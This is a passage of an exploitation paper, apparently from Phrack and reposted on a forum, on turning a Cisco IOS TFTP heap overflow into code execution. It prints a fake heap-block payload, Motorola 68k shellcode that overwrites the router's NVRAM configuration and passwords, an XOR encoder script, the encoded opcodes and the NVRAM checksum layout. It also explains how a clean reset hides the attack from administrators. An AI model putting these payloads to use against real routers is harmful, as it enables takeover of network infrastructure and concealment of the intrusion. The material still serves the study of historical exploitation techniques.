0258F9A0: 00000000 020E50B6 020E5108 0258FDCC  ......P6..Q..X}L
0258F9B0: 0258F928 80000206 00000001 020E1778  .Xy(...........x
0258F9C0: 00000000 00000028 02590208 025D74C0  .......(.Y...]t@
0258F9D0: 02596F3C 02598208 025A0A04 025A2F34  .Yo<.Y...Z...Z/4
0258F9E0: 025AC1FC 025BD554 025BE920 025BFD2C  .ZA|.[UT.[i .[},
0258F9F0: 025E6FF0 025E949C 025EA95C 025EC484  .^op.^...^)\.^D.
0258FA00: 025EF404 0262F628 026310DC 02632FD8  .^t..bv(.c.\.c/X
0258FA10: 02634350 02635634 0263F7A8 026418C0  .cCP.cV4.cw(.d.@
0258FA20: 026435FC 026475E0 025D7A38 026507E8  .d5|.du`.]z8.e.h
0258FA30: 026527DC 02652AF4 02657200 02657518  .e&#39;\.e*t.er..eu.
0258FA40: 02657830 02657B48 02657E60 0269DCFC  .ex0.e{H.e~`.i\|
0258FA50: 0269EFE0 026A02C4 025DD870 00000000  .io`.j.D.]Xp....
0258FA60: 00000000 025C3358 026695EC 0266A370  .....\3X.f.l.f#p

While you also see the already discussed block header format in action now,
the interesting information starts at 0x0258F9C4. Here, you find the number
of processes currently running on IOS. They are ordered by their process
ID. What we are looking for is a process that gets executed every once in a
while. The reason for this is, if we modify something in the process data
structures, we don&#39;t want the process being active at this point in time,
so that the location we are overwriting is static. For this reason, yours
truly picked the "Load Meter" process, which is there to measure the system
load and is fired off about every 30 seconds. Let&#39;s get the PID of
"Load Meter":

radio#show processes cpu
CPU utilization for five seconds: 2%/0%; one minute: 3%; five minutes: 3%
PID  Runtime(ms)  Invoked  uSecs   5Sec  1Min  5Min TTY Process
  1       80    1765    45  0.00%  0.00%  0.00%  0 Load Meter

Well, conveniently, this process has PID 1. Now, we check the memory
location the "Process Array" points to. Yours truly calls this memory
location "process record", since it seems to contain everything IOS needs
to know about the process. The first two entries in the record are:

radio#sh mem 0x02590208
02590200:             0258FDF4 025901AC       .X}t.Y.,
02590210: 00001388 020E488E 00000000 00000000  ......H.........
02590220: 00000000 00000000 00000000 00000000  ................

The first entry in this record is 0x0258FDF4, which is the process stack.
You can compare this to the line above that says "Load Meter" and "Process
Stack" on it in the output of "show memory processor allocating-process".
The second element is the current stack pointer of this process
(0x025901AC). By now it should also be clear why we want to pick a process
with low activity. But surprisingly, the same procedure also works quite
well with busier processes such as "IP Input". Inspecting the location of
the stack pointer, we see something quite familiar:

radio#sh mem 0x025901AC
025901A0:                   025901C4          .Y.D
025901B0: 020DC478 0256CAF8 025902DE 00000000  ..Dx.VJx.Y.^....

This is classic C calling convention: first we find the former frame
pointer and then we find the return address. Therefore, 0x025901B0 is the
address we are targeting to overwrite with a pointer supplied by us.

The only question left is: Where do we want the return address to point to?
As already mentioned, IOS will overwrite the buffer we are filling with
0x0D0D0D0D when the free() is executed - so this is not a good place to
have your code in. On the other hand, the fake block&#39;s data section is
already considered clean from IOS&#39;s point of view, so we just append our
code to the fake block header we already have to send. But what&#39;s the
address of this? Well, since we have to know the previous pointer, we can
calculate the address of our code as offset to this one - and it turns out
that this is actually a static number in this case. There are other, more
advanced methods to deliver the code to the device, but let&#39;s keep focused.

The TFTP filename we are asking for should now have the form of:

+--------------+
| AAAAAAAAAAAA |
...
| AAAAAAAAAAAA |
+--------------+
| FAKE BLOCK  |
|          |
....
|          |
+--------------+
| CODE      |
|          |
....
+--------------+

At this point, we can build the fake block using all the information we
gathered:

   char           fakeblock[] =
      "\xFD\x01\x10\xDF"    // RED
      "\xAB\x12\x34\xCD"    // MAGIC
      "\xFF\xFF\xFF\xFF"    // PID
      "\x80\x81\x82\x83"    //
      "\x08\x0C\xBB\x76"    // NAME
      "\x80\x8a\x8b\x8c"    //

      "\x02\x0F\x2A\x04"    // NEXT
      "\x02\x0F\x16\x94"    // PREV

      "\x7F\xFF\xFF\xFF"    // SIZE
      "\x01\x01\x01\x01"    //
      "\xA0\xA0\xA0\xA0"    // padding
      "\xDE\xAD\xBE\xEF"    // MAGIC2
      "\x8A\x8B\x8C\x8D"    //
      "\xFF\xFF\xFF\xFF"    // padding
      "\xFF\xFF\xFF\xFF"    // padding

      "\x02\x0F\x2A\x24"    // FREE NEXT (in BUFFER)
      "\x02\x59\x01\xB0"    // FREE PREV (Load Meter return addr)
      ;

When sending this to the Cisco, you are likely to see something like this:

*** EXCEPTION ***
illegal instruction interrupt
program counter = 0x20f2a24
status register = 0x2700
vbr at time of exception = 0x4000000

depending on what comes after your fake block header. Of course, we did not
provide code for execution yet. But at this point in time, we got the CPU
redirected into our buffer.

--[ 5 - Writing (shell)code for Cisco

Before one can write code for the Cisco platform, you have to decide on the
general processor architecture you are attacking. For the purpose of this
paper, we will focus on the lower range devices running on Motorola 68k
CPUs.

Now the question is, what do you want to do with your code on the system.
Classic shell code design for commonly used operating system platforms uses
syscalls or library functions to perform some port binding and provide
shell access to the attacker. The problem with Cisco IOS is, that we will
have a hard time keeping it alive after we performed our pointer games.
This is because in contrast to "normal" daemons, we destroyed the memory
management of the operating system core and we can not expect it to cope
with the mess we left for it.

Additionally, the design of IOS does not feature transparent syscalls as
far as yours truly knows. Because of it&#39;s monolithic design, things are
linked together at build time. There might be ways to call different
subfunctions of IOS even after an heap overflow attack, but it appears to
be an inefficient route to take for exploitation and would make the whole
process even more instable.

The other way is to change the routers configuration and reboot it, so it
will come up with the new config, which you provided. This is far more
simpler than trying to figure out syscalls or call stack setups. The idea
behind this approach is, that you don&#39;t need any IOS functionality anymore.
Because of this, you don&#39;t have to figure out addresses and other vital
information about the IOS. All you have to know is which NVRAM chips are
used in the box and where there are mapped. This might sound way more
complicated than identifying functions in an IOS image - but is not. In
contrast to common operating systems on PC platforms, where the number of
possible hardware combinations and memory mappings by far exceedes a
feasable mapping range, it&#39;s the other way around for Cisco routers. You
can have more than ten different IOS images on a single platform - and this
is only one branch - but you always have the same general memory layout and
the ICs don&#39;t change for the most part. The only thing that may differ
between two boxes are the modules and the size of available memory (RAM,
NVRAM and Flash), but this is not of big concern for us.

The non-volatile random access memory (NVRAM) stores the configuration of a
Cisco router in most cases. The configuration itself is stored in plain
text as one continious C-style string or text file and is terminated by the
keyword &#39;end&#39; and one or more 0x00 bytes. A header structure contains
information like the IOS version that created this configuration, the size
of it and a checksum. If we replace the config on the NVRAM with our own
and calculate the numbers for the header structure correctly, the router
will use our IP addresses, routings, access lists and (most important)
passwords next time it reloads.

As one can see on the memory maps [2], there are one (in the worst case
two) possible memory addresses for the NVRAM for each platform. Since
the NVRAM is mapped into the memory just like most memory chips are, we
can access it with simple memory move operations. Therefore, the only thing
we need for our "shell" code is the CPU (M68k), it&#39;s address and data bus
and the cooperation of the NVRAM chip.

There are things to keep in mind about NVRAM. First of all, it&#39;s slow to
write to. The Xicor chips yours truly encountered on Cisco routers require
that after a write, the address lines are kept unchanged for the time the
chip needs to write the data. A control register will signal when the write
operation is done. Since the location of this control register is not known
and might not be the same for different types of the same platform, yours
truly prefers to use delay loops to give the chip time to write the data -
since speed is not the attackers problem here.

Now, that we know pretty much what we want to do, we can go on and look at
the "how" part of things. First of all, you need to produce assembly for
the target platform. A little known fact is, that IOS is actually build (at
least some times) using GNU compilers. Therefore, the binutils[3] package
can be compiled to build Cisco compatible code by setting the target
platform for the ./configure run to --target=m68k-aout. When you are done,
you will have a m68k-aout-as binary, which can produce your code and a
m68k-aout-objdump to get the OP code values.

In case the reader is fluent in Motorola 68000 assembly, I would like to
apologize for the bad style, but yours truly grew up on Intel.
Optimizations and style guides are welcome. Anyway, let&#39;s start coding.

For a string overflow scenario like this one, the recommended way for small
code is to use self-modification. The main code will be XOR&#39;d with a
pattern like 0x55 or 0xD5 to make sure that no 0x00 bytes show up. A
bootstrap code will decode the main code and pass execution on to it. The
Cisco 1600 platform with it&#39;s 68360 does not have any caching issues to
worry us (thanks to LSD for pointing this out), so the only issue we have
is avoiding 0x00 bytes in the bootstrap code. Here is how it works:

--- bootstrap.s ---
    .globl _start
_start:
      | Remove write protection for NVRAM.
    | Protection is Bit 1 in BR7 for 0x0E000000
      move.l  #0x0FF010C2,%a1
      lsr    (%a1)

      | fix the brance opcode
    | &#39;bne decode_loop&#39; is OP code 0x6600 and this is bad
      lea    broken_branch+0x101(%pc),%a3
      sub.a  #0x0101,%a3
      lsr    (%a3)

      | perform dummy load, where 0x01010101 is then replaced
      | by our stack ptr value due to the other side of the pointer
    | exchange
      move.l  #0x01010101,%d1

      | get address of the real code appended plus 0x0101 to
    | prevent 0x00 bytes
      lea    xor_code+0x0101(%pc),%a2
      sub.a  #0x0101,%a2
      | prepare the decode register (XOR pattern)
      move.w  #0xD5D5,%d1

decode_loop:
    | Decode our main payload code and the config
      eor.w  %d1,(%a2)+
    | check for the termination flag (greetings to Bine)
      cmpi.l  #0xCAFEF00D,(%a2)
broken_branch:
      | this used to be &#39;bne decode_loop&#39; or 0x6600FFF6
      .byte  0xCC,0x01,0xFF,0xF6

xor_code:

--- end bootstrap.s ---

You may assemble the code into an object file using:
linux# m68k-aout-as -m68360 -pic --pcrel -o bootstrap.o bootstrap.s

There are a few things to say about the code. Number one are the first two
instructions. The CPU we are dealing with supports write protection for
memory segments [4]. Information about the memory segments is stored in
so-called "Base Registers", BR0 to BR7. These are mapped into memory at
0x0FF00000 and later. The one we are interested in (BR7) is at 0x0FF010C2.
Bit0 tells the CPU if this memory is valid and Bit1 if it&#39;s write
protected, so the only thing we need to do is to shift the lower byte one
Bit to the right. The write protection Bit is cleared and the valid Bit is
still in place.

The second thing of mild interest is the broken branch code, but the
explaination in the source should make this clear: the OP code of "BNE"
unfortunately is 0x6600. So we shift the whole first word one to the right
and when the code runs, this is corrected.

The third thing is the dummy move to d1. If the reader would refer back to
the place we discussed the pointer exchange, he will notice that there is a
"back" part in this operation: namely the stack address is written to our
code plus 20 bytes (or 0x14). So we use a move operation that translates to
the OP code of 0x223c01010101, located at offset 0x12 in our code. After
the pointer exchange takes place, the 0x01010101 part is replaced by the
pointer - which is then innocently moved to the d1 register and ignored.

When this code completed execution, the appended XOR&#39;d code and config
should be in memory in all clear text/code. The only thing we have to do
now is copy the config in the NVRAM. Here is the appropriate code to do
this:

--- config_copy.s ---
      .globl  _start
_start:

    | turn off interrupts
      move.w    #0x2700,%sr;
    move.l    #0x0FF010C2,%a1
    move.w    #0x0001,(%a1)

    | Get position of appended config and write it with delay
    lea    config(%pc),%a2
    move.l    #0x0E0002AE,%a1
    move.l    #0x00000001,%d2

copy_confg:
    move.b    (%a2)+,(%a1)+
    | delay loop
    move.l    #0x0000FFFF,%d1
  write_delay:
      subx    %d2,%d1
      bmi    write_delay
    cmp.l    #0xCAFEF00D,(%a2)
    bne    copy_confg

    | delete old config to prevent checksum errors
delete_confg:
    move.w    #0x0000,(%a1)+
    move.l    #0x0000FFFF,%d1
    | delay loop
  write_delay2:
      subx    %d2,%d1
      bmi    write_delay2
    cmp.l    #0x0E002000,%a1
    blt    delete_confg

    |  perform HARD RESET
CPUReset:
      move.w    #0x2700,%sr
      moveal    #0x0FF00000,%a0
      moveal    (%a0),%sp
      moveal    #0x0FF00004,%a0
      moveal    (%a0),%a0
      jmp    (%a0)

config:
--- end config_copy.s ---

There is no particular magic about this part of the code. The only thing
worth noticing is the final CPU reset. There is reason why we do this. If
we just crash the router, there might be exception handlers in place to
save the call stack and other stuff to the NVRAM. This might change
checksums in an unpredictable way and we don&#39;t want to do this. The other
reason is, that a clean reset makes the router look like it was rebooted by
an administrator using the "reload" command. So we don&#39;t raise any
questions despite the completely changed configuration ;-)

The config_copy code and the config itself must now be XOR encoded with the
pattern we used in the bootstrap code. Also, you may want to put the code
into a nice char array for easy use in a C program. For this, yours truly
uses a dead simple but efficient Perl script:

--- objdump2c.pl ---
#!/usr/bin/perl

$pattern=hex(shift);
$addressline=hex(shift);

while (<STDIN>) {
   chomp;
   if (/[0-9a-f]+:\t/) {
    (undef,$hexcode,$mnemonic)=split(/\t/,$_);
    $hexcode=~s/ //g;
    $hexcode=~s/([0-9a-f]{2})/$1 /g;

    $alc=sprintf("%08X",$addressline);
    $addressline=$addressline+(length($hexcode)/3);

    @bytes=split(/ /,$hexcode);
    $tabnum=4-(length($hexcode)/8);
    $tabs="\t"x$tabnum;
    $hexcode="";
    foreach (@bytes) {
        $_=hex($_);
        $_=$_^$pattern if($pattern);
        $hexcode.=sprintf("\\x%02X",$_);
    }
    print "\t\"".$hexcode."\"".$tabs."//".$mnemonic." (0x".$alc.")\n";
   }
}
--- end objdump2c.pl ---

You can use the output of objdump and pipe it into the script. If the
script got no parameter, it will produce the C char string without
modifications. The first optional paramter will be your XOR pattern and the
second one can be the address your buffer is going to reside at. This makes
debugging the code a hell of a lot easier, because you can refer to the
comment at the end of your C char string to find out which command made the
Cisco unhappy.

The output for our little config_copy.s code XOR&#39;d with 0xD5 looks like
this (trimmed for phrack):

linux# m68k-aout-objdump -d config_copy.o |
> ./objdump2XORhex.pl 0xD5 0x020F2A24

"\x93\x29\xF2\xD5"          //movew #9984,%sr (0x020F2A24)
"\xF7\xA9\xDA\x25\xC5\x17"    //moveal #267391170,%a1 (0x020F2A28)
"\xE7\x69\xD5\xD4"          //movew #1,%a1@ (0x020F2A2E)
"\x90\x2F\xD5\x87"          //lea %pc@(62 <config>),%a2 (0x020F2A32)
"\xF7\xA9\xDB\xD5\xD7\x7B"    //moveal #234881710,%a1 (0x020F2A36)
"\xA1\xD4"               //moveq #1,%d2 (0x020F2A3C)
"\xC7\x0F"               //moveb %a2@+,%a1@+ (0x020F2A3E)
"\xF7\xE9\xD5\xD5\x2A\x2A"    //movel #65535,%d1 (0x020F2A40)
"\x46\x97"               //subxw %d2,%d1 (0x020F2A46)
"\xBE\xD5\x2A\x29"          //bmiw 22 <write_delay> (0x020F2A48)
"\xD9\x47\x1F\x2B\x25\xD8"    //cmpil #-889262067,%a2@ (0x020F2A4C)
"\xB3\xD5\x2A\x3F"          //bnew 1a <copy_confg> (0x020F2A52)
"\xE7\x29\xD5\xD5"          //movew #0,%a1@+ (0x020F2A56)
"\xF7\xE9\xD5\xD5\x2A\x2A"    //movel #65535,%d1 (0x020F2A5A)
"\x46\x97"               //subxw %d2,%d1 (0x020F2A60)
"\xBE\xD5\x2A\x29"          //bmiw 3c <write_delay2> (0x020F2A62)
"\x66\x29\xDB\xD5\xF5\xD5"    //cmpal #234889216,%a1 (0x020F2A66)
"\xB8\xD5\x2A\x3D"          //bltw 32 <delete_confg> (0x020F2A6C)
"\x93\x29\xF2\xD5"          //movew #9984,%sr (0x020F2A70)
"\xF5\xA9\xDA\x25\xD5\xD5"    //moveal #267386880,%a0 (0x020F2A74)
"\xFB\x85"               //moveal %a0@,%sp (0x020F2A7A)
"\xF5\xA9\xDA\x25\xD5\xD1"    //moveal #267386884,%a0 (0x020F2A7C)
"\xF5\x85"               //moveal %a0@,%a0 (0x020F2A82)
"\x9B\x05"               //jmp %a0@ (0x020F2A84)

Finally, there is only one more thing to do before we can compile this all
together: new have to create the new NVRAM header and calculate the
checksum for our new config. The NVRAM header has the form of:

typedef struct {
   u_int16_t     magic;      // 0xABCD
   u_int16_t     one;    // Probably type (1=ACII, 2=gz)
   u_int16_t     checksum;
   u_int16_t     IOSver;
   u_int32_t     unknown;    // 0x00000014
   u_int32_t     cfg_end;    // pointer to first free byte in
                // memory after config
   u_int32_t     size;
} nvhdr_t;

Obviously, most values in here are self-explainory. This header is not
nearly as much tested as the memory structures, so IOS will forgive you
strange values in the cfg_end entry and such. You can choose the IOS
version, but yours truly recommends to use something along the lines of
0x0B03 (11.3), just to make sure it works. The size field covers only the
real config text - not the header.
The checksum is calculated over the whole thing (header plus config) with
the checksum field itself being set to zero. This is a standard one&#39;s
complement checksum as you find in any IP implementation.

When putting it all together, you should have something along the lines of:

+--------------+
| AAAAAAAAAAAA |
...
| AAAAAAAAAAAA |
+--------------+
| FAKE BLOCK  |
|          |
....
+--------------+
| Bootstrap   |
|          |
....
+--------------+
| config_copy  |
|  XOR pat   |
....
+--------------+
| NVRAM header |
| + config    |
|  XOR pat   |
....
+--------------+

...which you can now send to the Cisco router for execution. If everything
works the way it is planned, the router will seemingly freeze for some
time, because it&#39;s working the slow loops for NVRAM copy and does not allow
interrupts, and should then reboot clean and nice.

To save space for better papers, the full code is not included here but is
available at http://www.phenoelit.de/ultimaratio/UltimaRatioVegas.c . It
supports some adjustments for code offset, NOPs where needed and a slightly
different fake block for 11.1 series IOS.

--[ 6 - Everything not covered in 1-5

A few assorted remarks that somehow did not fit into the rest of this text
should be made, so they are made here.

First of all, if you find or know an overflow vulnerability for IOS 11.x
and you think that it is not worth all the trouble to exploit since
everyone should run 12.x by now, let me challange this. Nobody with some
experience on Cisco IOS will run the latest version. It just doesn&#39;t work
correctly. Additionally, many people don&#39;t update their routers anyway. But
the most interesting part is a thing called "Helper Image" or simply "boot
IOS". This is a mini-IOS loaded right after the ROM monitor, which is
normally a 11.x. On the smaller routers, it&#39;s a ROM image and can not be
updated easily. For the bigger ones, people assured me that there are no
12.x mini-IOSes out there they would put on a major production router. Now,
when the Cisco boot up and starts the mini-IOS, it will read the config and
work accordingly as long as the feature is supported. Many are - including
the TFTP server. This gives an attacker a 3-8 seconds time window in which
he can perform an overflow on the IOS, in case somone reloads the router.
In case this goes wrong, the full-blown IOS still starts up, so there will
be no traces of any hostile activity.

The second item yours truly would like to point out are the different
things one might want to explore for overflow attacks. The obvious one
(used in this paper as example) is a service running on a Cisco router.
Another point for overflowing stuff are protocols. No protocol inspection
engine is perfect AFAYTK. So even if the IOS is just supposed to route
the packet, but has to inspect the contents for some reason, you might find
something there. And if all fails, there are still the debug based
overflows. IOS offers a waste amount of debug commands for next to
everything. These do normally display a lot of information comming right
from the packet they received and don&#39;t always check the buffer they use
for compiling the displayed string. Unfortunately, it requires someone to
turn on debugging in the first place - but well, this might happen.

And finally, some greets have to be in here. Those go to the following
people in no particular order: Gaus of Cisco PSIRT, Nico of Securite.org,
Dan of DoxPara.com, Halvar Flake, the three anonymous CCIEs/Cisco wizards
yours truly keeps asking strange questions and of course FtR and Mr. V.H.,
because without their equipment, there wouldn&#39;t be any research to speak
of. Additional greets go to all people who research Cisco stuff and to whom
yours truly had no chance to talk to so far - please get in touch with us.
The last one goes to the vulnerability research labs out there: let me
know if you need any help reproducing this `;-7

--[ A - References

[1] anonymous <d45a312a@author.phrack.org>
   "Once upon a free()..."
   Phrack Magazine, Volume 0x0b, Issue 0x39, Phile #0x09 of 0x12

[2] Cisco Router IOS Memory Maps
   http://www.cisco.com/warp/public/112/appB.html

[3] GNU binutils
   http://www.gnu.org/software/binutils/binutils.html

[4] Motorola QUICC 68360 CPU Manual
   MC68360UM, Page 6-70


|=[ EOF ]=---------------------------------------------------------------=|
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题